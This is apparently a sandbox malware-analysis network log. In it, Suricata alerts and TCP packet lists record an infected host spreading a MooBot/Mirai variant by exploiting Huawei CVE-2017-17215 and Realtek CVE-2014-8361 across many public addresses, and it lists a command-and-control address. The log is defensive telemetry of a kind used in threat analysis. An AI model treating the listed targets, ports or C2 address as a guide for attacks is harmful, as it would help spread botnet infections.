07/20/24-23:01:02.408596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51150	37215	192.168.2.14	41.188.32.205
07/20/24-23:01:02.414851	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46822	37215	192.168.2.14	81.216.201.21
07/20/24-23:01:34.682196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49740	52869	192.168.2.14	43.85.108.87
07/20/24-23:01:02.411076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45474	37215	192.168.2.14	157.203.119.152
07/20/24-23:01:14.472855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60162	37215	192.168.2.14	197.199.235.176
07/20/24-23:01:33.461265	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55798	52869	192.168.2.14	222.32.122.10
07/20/24-23:01:14.440842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58900	37215	192.168.2.14	197.127.134.5
07/20/24-23:01:37.121494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33716	37215	192.168.2.14	157.151.140.35
07/20/24-23:01:05.905239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41204	37215	192.168.2.14	197.179.75.211
07/20/24-23:01:34.929652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51830	52869	192.168.2.14	197.75.140.61
07/20/24-23:01:14.401421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49138	37215	192.168.2.14	41.108.209.166
07/20/24-23:01:29.524980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39978	52869	192.168.2.14	84.149.17.30
07/20/24-23:01:02.405622	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47230	37215	192.168.2.14	157.78.32.167
07/20/24-23:01:11.459583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45740	37215	192.168.2.14	197.158.252.136
07/20/24-23:01:14.397066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56532	37215	192.168.2.14	41.161.8.250
07/20/24-23:01:23.051335	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32834	52869	192.168.2.14	170.133.86.186
07/20/24-23:01:07.674222	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53470	37215	192.168.2.14	197.44.21.237
07/20/24-23:01:22.801376	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59654	37215	192.168.2.14	41.18.5.168
07/20/24-23:01:25.288605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35508	37215	192.168.2.14	162.152.158.39
07/20/24-23:01:05.636428	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46748	52869	192.168.2.14	13.188.216.17
07/20/24-23:01:05.838157	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41912	52869	192.168.2.14	157.159.16.125
07/20/24-23:01:14.407391	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44752	37215	192.168.2.14	197.216.160.162
07/20/24-23:01:14.444926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51074	37215	192.168.2.14	197.213.218.227
07/20/24-23:01:34.932468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44548	52869	192.168.2.14	81.201.211.116
07/20/24-23:01:02.418173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56210	37215	192.168.2.14	41.10.15.208
07/20/24-23:01:29.169710	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41784	52869	192.168.2.14	109.148.201.214

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-20T23:01:23.185219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42134	37215	192.168.2.14	157.83.248.176
2024-07-20T23:01:11.492053+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34748	37215	192.168.2.14	41.122.35.63
2024-07-20T23:01:14.448432+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35772	37215	192.168.2.14	41.93.5.254
2024-07-20T23:01:22.736587+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51446	37215	192.168.2.14	41.51.88.55
2024-07-20T23:01:23.879911+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34686	37215	192.168.2.14	113.163.100.190
2024-07-20T23:01:25.876694+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59942	52869	192.168.2.14	178.57.58.147
2024-07-20T23:01:14.481896+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56822	37215	192.168.2.14	157.193.13.42
2024-07-20T23:01:11.471112+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49566	37215	192.168.2.14	41.4.62.49
2024-07-20T23:01:23.184593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58628	37215	192.168.2.14	197.173.235.55
2024-07-20T23:01:26.005187+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43466	37215	192.168.2.14	157.171.155.202
2024-07-20T23:01:24.314355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44176	37215	192.168.2.14	157.11.29.10
2024-07-20T23:01:07.683360+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35926	37215	192.168.2.14	41.157.157.252
2024-07-20T23:01:25.970398+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45718	2466	192.168.2.14	15.235.203.214
2024-07-20T23:01:26.420623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47722	37215	192.168.2.14	157.193.7.72
2024-07-20T23:01:23.529310+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45886	37215	192.168.2.14	24.132.91.59
2024-07-20T23:01:07.358869+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	40048	2466	192.168.2.14	15.235.203.214
2024-07-20T23:01:02.440540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52714	37215	192.168.2.14	181.36.87.26
2024-07-20T23:01:11.462788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32960	37215	192.168.2.14	218.209.252.220
2024-07-20T23:01:05.927305+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33288	37215	192.168.2.14	197.24.155.216
2024-07-20T23:01:05.292589+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34388	52869	192.168.2.14	34.37.107.29
2024-07-20T23:01:23.184311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54264	37215	192.168.2.14	41.206.191.212
2024-07-20T23:01:25.901058+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41162	37215	192.168.2.14	197.221.83.254
2024-07-20T23:01:11.477131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35134	37215	192.168.2.14	157.68.139.198
2024-07-20T23:01:11.470656+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34128	37215	192.168.2.14	197.42.111.185
2024-07-20T23:01:11.483526+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60574	37215	192.168.2.14	68.79.78.213
2024-07-20T23:01:23.644036+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35696	37215	192.168.2.14	157.71.253.214
2024-07-20T23:01:11.492053+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53330	37215	192.168.2.14	197.92.6.120
2024-07-20T23:01:26.005824+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42420	37215	192.168.2.14	41.221.41.23
2024-07-20T23:01:19.334401+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36282	37215	192.168.2.14	196.41.223.61
2024-07-20T23:01:19.334151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52086	37215	192.168.2.14	157.255.232.153
2024-07-20T23:01:11.491938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37698	37215	192.168.2.14	41.67.200.108
2024-07-20T23:01:17.542102+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	42936	2466	192.168.2.14	15.235.203.214
2024-07-20T23:01:24.425294+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47368	52869	192.168.2.14	134.76.14.241
2024-07-20T23:01:04.148478+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	38412	2466	192.168.2.14	15.235.203.214
2024-07-20T23:01:26.587098+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36622	52869	192.168.2.14	66.134.165.127
2024-07-20T23:01:23.184174+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38814	37215	192.168.2.14	41.136.163.60
2024-07-20T23:01:11.498902+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54276	37215	192.168.2.14	41.33.138.117
2024-07-20T23:01:14.457702+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41518	37215	192.168.2.14	41.189.142.158
2024-07-20T23:01:26.005440+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54748	37215	192.168.2.14	197.201.136.184
2024-07-20T23:01:04.419833+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50544	37215	192.168.2.14	60.162.189.105
2024-07-20T23:01:24.407403+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54374	52869	192.168.2.14	174.69.237.0
2024-07-20T23:01:23.184073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47124	37215	192.168.2.14	81.10.137.209
2024-07-20T23:01:24.428774+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33754	52869	192.168.2.14	130.69.123.40
2024-07-20T23:01:11.470656+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45242	37215	192.168.2.14	41.90.150.101
2024-07-20T23:01:14.473077+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44444	37215	192.168.2.14	41.42.235.139
2024-07-20T23:01:11.471715+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52674	37215	192.168.2.14	197.80.3.152
2024-07-20T23:01:11.492053+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34266	37215	192.168.2.14	41.244.153.19
2024-07-20T23:01:22.736716+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46634	37215	192.168.2.14	41.195.94.179
2024-07-20T23:01:19.334468+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57468	37215	192.168.2.14	63.230.59.42
2024-07-20T23:01:24.710414+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45116	2466	192.168.2.14	15.235.203.214
2024-07-20T23:01:19.333902+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56068	37215	192.168.2.14	157.161.95.63
2024-07-20T23:01:26.005057+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36742	37215	192.168.2.14	197.200.137.216
2024-07-20T23:01:05.949875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45310	37215	192.168.2.14	211.150.3.47
2024-07-20T23:01:19.333734+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59928	37215	192.168.2.14	157.145.245.15
2024-07-20T23:01:22.736743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40756	37215	192.168.2.14	197.195.213.197
2024-07-20T23:01:19.333758+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57664	37215	192.168.2.14	19.249.253.104
2024-07-20T23:01:05.904446+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38070	37215	192.168.2.14	157.69.199.211
2024-07-20T23:01:19.334047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54120	37215	192.168.2.14	197.112.129.130
2024-07-20T23:01:23.184593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52598	37215	192.168.2.14	41.189.212.63
2024-07-20T23:01:24.315231+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38530	52869	192.168.2.14	101.71.112.133
2024-07-20T23:01:23.184141+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39296	37215	192.168.2.14	82.217.52.153
2024-07-20T23:01:14.440518+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44530	37215	192.168.2.14	157.101.182.69
2024-07-20T23:01:01.784059+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	37548	2466	192.168.2.14	15.235.203.214
2024-07-20T23:01:02.419502+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57200	37215	192.168.2.14	157.20.249.180
2024-07-20T23:01:25.227050+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41774	52869	192.168.2.14	74.231.66.1
2024-07-20T23:01:26.005486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52780	37215	192.168.2.14	157.161.253.42
2024-07-20T23:01:07.676103+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37762	37215	192.168.2.14	205.156.221.195
2024-07-20T23:01:02.427038+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59758	37215	192.168.2.14	157.59.236.255

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2024 23:01:01.597800016 CEST	52725	37215	192.168.2.14	197.74.63.134
Jul 20, 2024 23:01:01.597800016 CEST	52725	37215	192.168.2.14	157.78.32.167
Jul 20, 2024 23:01:01.597876072 CEST	52725	37215	192.168.2.14	197.196.172.22
Jul 20, 2024 23:01:01.597909927 CEST	52725	37215	192.168.2.14	197.12.227.51
Jul 20, 2024 23:01:01.598005056 CEST	52725	37215	192.168.2.14	157.52.23.60
Jul 20, 2024 23:01:01.598071098 CEST	52725	37215	192.168.2.14	24.34.240.214
Jul 20, 2024 23:01:01.598135948 CEST	52725	37215	192.168.2.14	41.26.139.46
Jul 20, 2024 23:01:01.598159075 CEST	52725	37215	192.168.2.14	61.165.104.213
Jul 20, 2024 23:01:01.598400116 CEST	52725	37215	192.168.2.14	197.40.93.165
Jul 20, 2024 23:01:01.598455906 CEST	52725	37215	192.168.2.14	197.81.117.241
Jul 20, 2024 23:01:01.598524094 CEST	52725	37215	192.168.2.14	157.11.56.240
Jul 20, 2024 23:01:01.598565102 CEST	52725	37215	192.168.2.14	197.255.176.169
Jul 20, 2024 23:01:01.598654985 CEST	52725	37215	192.168.2.14	157.135.213.6
Jul 20, 2024 23:01:01.599078894 CEST	52725	37215	192.168.2.14	126.166.207.208
Jul 20, 2024 23:01:01.599203110 CEST	52725	37215	192.168.2.14	41.65.98.19
Jul 20, 2024 23:01:01.599288940 CEST	52725	37215	192.168.2.14	52.155.86.86
Jul 20, 2024 23:01:01.599308014 CEST	52725	37215	192.168.2.14	197.24.4.235
Jul 20, 2024 23:01:01.599328995 CEST	52725	37215	192.168.2.14	157.137.75.124
Jul 20, 2024 23:01:01.599348068 CEST	52725	37215	192.168.2.14	197.108.206.182
Jul 20, 2024 23:01:01.599390984 CEST	52725	37215	192.168.2.14	153.57.57.9
Jul 20, 2024 23:01:01.599613905 CEST	52725	37215	192.168.2.14	197.95.27.148
Jul 20, 2024 23:01:01.599636078 CEST	52725	37215	192.168.2.14	157.216.161.59
Jul 20, 2024 23:01:01.599658966 CEST	52725	37215	192.168.2.14	41.173.192.227
Jul 20, 2024 23:01:01.599853992 CEST	52725	37215	192.168.2.14	197.196.31.171
Jul 20, 2024 23:01:01.599909067 CEST	52725	37215	192.168.2.14	157.208.127.244
Jul 20, 2024 23:01:01.599980116 CEST	52725	37215	192.168.2.14	157.20.249.180
Jul 20, 2024 23:01:01.599986076 CEST	52725	37215	192.168.2.14	41.99.10.85
Jul 20, 2024 23:01:01.600122929 CEST	52725	37215	192.168.2.14	32.244.217.115
Jul 20, 2024 23:01:01.600161076 CEST	52725	37215	192.168.2.14	37.110.59.42
Jul 20, 2024 23:01:01.600208998 CEST	52725	37215	192.168.2.14	41.188.32.205
Jul 20, 2024 23:01:01.600502014 CEST	52725	37215	192.168.2.14	157.88.41.229
Jul 20, 2024 23:01:01.600523949 CEST	52725	37215	192.168.2.14	157.245.238.163
Jul 20, 2024 23:01:01.600553989 CEST	52725	37215	192.168.2.14	197.232.128.49
Jul 20, 2024 23:01:01.600799084 CEST	52725	37215	192.168.2.14	41.122.12.187
Jul 20, 2024 23:01:01.600799084 CEST	52725	37215	192.168.2.14	41.243.57.159
Jul 20, 2024 23:01:01.600799084 CEST	52725	37215	192.168.2.14	124.232.166.233
Jul 20, 2024 23:01:01.600837946 CEST	52725	37215	192.168.2.14	50.0.188.147
Jul 20, 2024 23:01:01.601238012 CEST	52725	37215	192.168.2.14	118.0.129.46
Jul 20, 2024 23:01:01.601562023 CEST	52725	37215	192.168.2.14	157.136.249.217
Jul 20, 2024 23:01:01.601562023 CEST	52725	37215	192.168.2.14	197.30.62.141
Jul 20, 2024 23:01:01.601599932 CEST	52725	37215	192.168.2.14	141.92.189.24
Jul 20, 2024 23:01:01.601640940 CEST	52725	37215	192.168.2.14	157.92.46.65
Jul 20, 2024 23:01:01.601646900 CEST	52725	37215	192.168.2.14	197.136.233.151
Jul 20, 2024 23:01:01.601646900 CEST	52725	37215	192.168.2.14	117.157.75.129
Jul 20, 2024 23:01:01.601646900 CEST	52725	37215	192.168.2.14	41.121.47.232
Jul 20, 2024 23:01:01.601814032 CEST	52725	37215	192.168.2.14	43.186.3.173
Jul 20, 2024 23:01:01.601859093 CEST	52725	37215	192.168.2.14	41.79.186.119
Jul 20, 2024 23:01:01.602024078 CEST	52725	37215	192.168.2.14	41.171.70.30
Jul 20, 2024 23:01:01.602111101 CEST	52725	37215	192.168.2.14	197.228.255.157
Jul 20, 2024 23:01:01.602374077 CEST	52725	37215	192.168.2.14	157.203.119.152
Jul 20, 2024 23:01:01.602412939 CEST	52725	37215	192.168.2.14	197.66.212.124
Jul 20, 2024 23:01:01.602444887 CEST	52725	37215	192.168.2.14	197.249.151.109
Jul 20, 2024 23:01:01.602478027 CEST	52725	37215	192.168.2.14	197.195.106.45
Jul 20, 2024 23:01:01.602540016 CEST	52725	37215	192.168.2.14	197.77.31.163
Jul 20, 2024 23:01:01.602694035 CEST	52725	37215	192.168.2.14	41.34.34.12
Jul 20, 2024 23:01:01.602766991 CEST	52725	37215	192.168.2.14	197.59.92.194
Jul 20, 2024 23:01:01.602870941 CEST	37215	52725	197.74.63.134	192.168.2.14
Jul 20, 2024 23:01:01.602880955 CEST	37215	52725	157.78.32.167	192.168.2.14
Jul 20, 2024 23:01:01.602921963 CEST	52725	37215	192.168.2.14	197.74.63.134
Jul 20, 2024 23:01:01.602921963 CEST	52725	37215	192.168.2.14	157.78.32.167
Jul 20, 2024 23:01:01.602978945 CEST	52725	37215	192.168.2.14	41.80.60.235
Jul 20, 2024 23:01:01.603002071 CEST	37215	52725	197.196.172.22	192.168.2.14
Jul 20, 2024 23:01:01.603012085 CEST	37215	52725	197.12.227.51	192.168.2.14
Jul 20, 2024 23:01:01.603019953 CEST	37215	52725	157.52.23.60	192.168.2.14
Jul 20, 2024 23:01:01.603034973 CEST	52725	37215	192.168.2.14	197.12.227.51
Jul 20, 2024 23:01:01.603039026 CEST	52725	37215	192.168.2.14	197.196.172.22
Jul 20, 2024 23:01:01.603039026 CEST	52725	37215	192.168.2.14	157.52.23.60
Jul 20, 2024 23:01:01.603068113 CEST	52725	37215	192.168.2.14	90.241.170.10
Jul 20, 2024 23:01:01.603108883 CEST	37215	52725	24.34.240.214	192.168.2.14
Jul 20, 2024 23:01:01.603117943 CEST	37215	52725	41.26.139.46	192.168.2.14
Jul 20, 2024 23:01:01.603127003 CEST	37215	52725	61.165.104.213	192.168.2.14
Jul 20, 2024 23:01:01.603140116 CEST	52725	37215	192.168.2.14	24.34.240.214
Jul 20, 2024 23:01:01.603140116 CEST	52725	37215	192.168.2.14	41.26.139.46
Jul 20, 2024 23:01:01.603152037 CEST	52725	37215	192.168.2.14	61.165.104.213
Jul 20, 2024 23:01:01.603218079 CEST	52725	37215	192.168.2.14	212.127.34.6
Jul 20, 2024 23:01:01.603240013 CEST	52725	37215	192.168.2.14	4.79.178.142
Jul 20, 2024 23:01:01.603250027 CEST	52725	37215	192.168.2.14	197.241.150.191
Jul 20, 2024 23:01:01.603250027 CEST	52725	37215	192.168.2.14	24.132.91.59
Jul 20, 2024 23:01:01.603250027 CEST	52725	37215	192.168.2.14	197.8.234.46
Jul 20, 2024 23:01:01.603250027 CEST	52725	37215	192.168.2.14	41.40.48.20
Jul 20, 2024 23:01:01.603250027 CEST	52725	37215	192.168.2.14	197.164.125.148
Jul 20, 2024 23:01:01.603250027 CEST	52725	37215	192.168.2.14	13.86.185.73
Jul 20, 2024 23:01:01.603250027 CEST	52725	37215	192.168.2.14	157.255.17.174
Jul 20, 2024 23:01:01.603265047 CEST	37215	52725	197.40.93.165	192.168.2.14
Jul 20, 2024 23:01:01.603283882 CEST	52725	37215	192.168.2.14	157.183.27.248
Jul 20, 2024 23:01:01.603322029 CEST	52725	37215	192.168.2.14	197.40.93.165
Jul 20, 2024 23:01:01.603351116 CEST	52725	37215	192.168.2.14	41.226.92.193
Jul 20, 2024 23:01:01.603365898 CEST	37215	52725	197.81.117.241	192.168.2.14
Jul 20, 2024 23:01:01.603391886 CEST	52725	37215	192.168.2.14	41.30.131.179
Jul 20, 2024 23:01:01.603399992 CEST	52725	37215	192.168.2.14	197.81.117.241
Jul 20, 2024 23:01:01.603436947 CEST	52725	37215	192.168.2.14	76.199.109.54
Jul 20, 2024 23:01:01.603471994 CEST	37215	52725	157.11.56.240	192.168.2.14
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	41.212.179.177
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	157.47.87.238
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	60.250.175.203
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	157.136.175.137
Jul 20, 2024 23:01:01.603513956 CEST	52725	37215	192.168.2.14	157.11.56.240
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	197.181.156.3
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	138.242.39.199
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:01.603513002 CEST	52725	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:01.603528023 CEST	52725	37215	192.168.2.14	41.115.1.213
Jul 20, 2024 23:01:01.603594065 CEST	37215	52725	197.255.176.169	192.168.2.14
Jul 20, 2024 23:01:01.603602886 CEST	37215	52725	157.135.213.6	192.168.2.14
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	145.169.160.7
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	197.210.50.88
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	66.133.8.3
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	157.71.253.214
Jul 20, 2024 23:01:01.603622913 CEST	52725	37215	192.168.2.14	197.255.176.169
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	197.37.177.219
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	41.160.188.126
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	60.162.189.105
Jul 20, 2024 23:01:01.603621960 CEST	52725	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:01.603683949 CEST	52725	37215	192.168.2.14	157.135.213.6
Jul 20, 2024 23:01:01.603714943 CEST	52725	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:01.603714943 CEST	52725	37215	192.168.2.14	197.153.186.108
Jul 20, 2024 23:01:01.603714943 CEST	52725	37215	192.168.2.14	197.70.43.24
Jul 20, 2024 23:01:01.603722095 CEST	52725	37215	192.168.2.14	152.71.212.76
Jul 20, 2024 23:01:01.604129076 CEST	37215	52725	126.166.207.208	192.168.2.14
Jul 20, 2024 23:01:01.604156017 CEST	52725	37215	192.168.2.14	197.77.202.247
Jul 20, 2024 23:01:01.604161024 CEST	52725	37215	192.168.2.14	126.166.207.208
Jul 20, 2024 23:01:01.604219913 CEST	52725	37215	192.168.2.14	41.131.64.64
Jul 20, 2024 23:01:01.604325056 CEST	52725	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:01.604350090 CEST	52725	37215	192.168.2.14	41.117.226.58
Jul 20, 2024 23:01:01.604362965 CEST	52725	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:01.604420900 CEST	52725	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:01.604518890 CEST	37215	52725	41.65.98.19	192.168.2.14
Jul 20, 2024 23:01:01.604528904 CEST	37215	52725	52.155.86.86	192.168.2.14
Jul 20, 2024 23:01:01.604552031 CEST	37215	52725	197.24.4.235	192.168.2.14
Jul 20, 2024 23:01:01.604561090 CEST	37215	52725	157.137.75.124	192.168.2.14
Jul 20, 2024 23:01:01.604568958 CEST	37215	52725	197.108.206.182	192.168.2.14
Jul 20, 2024 23:01:01.604578018 CEST	37215	52725	153.57.57.9	192.168.2.14
Jul 20, 2024 23:01:01.604664087 CEST	52725	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:01.604664087 CEST	52725	37215	192.168.2.14	207.21.193.219
Jul 20, 2024 23:01:01.604664087 CEST	52725	37215	192.168.2.14	197.24.4.235
Jul 20, 2024 23:01:01.604664087 CEST	52725	37215	192.168.2.14	197.108.206.182
Jul 20, 2024 23:01:01.604674101 CEST	37215	52725	197.95.27.148	192.168.2.14
Jul 20, 2024 23:01:01.604682922 CEST	37215	52725	157.216.161.59	192.168.2.14
Jul 20, 2024 23:01:01.604717016 CEST	37215	52725	41.173.192.227	192.168.2.14
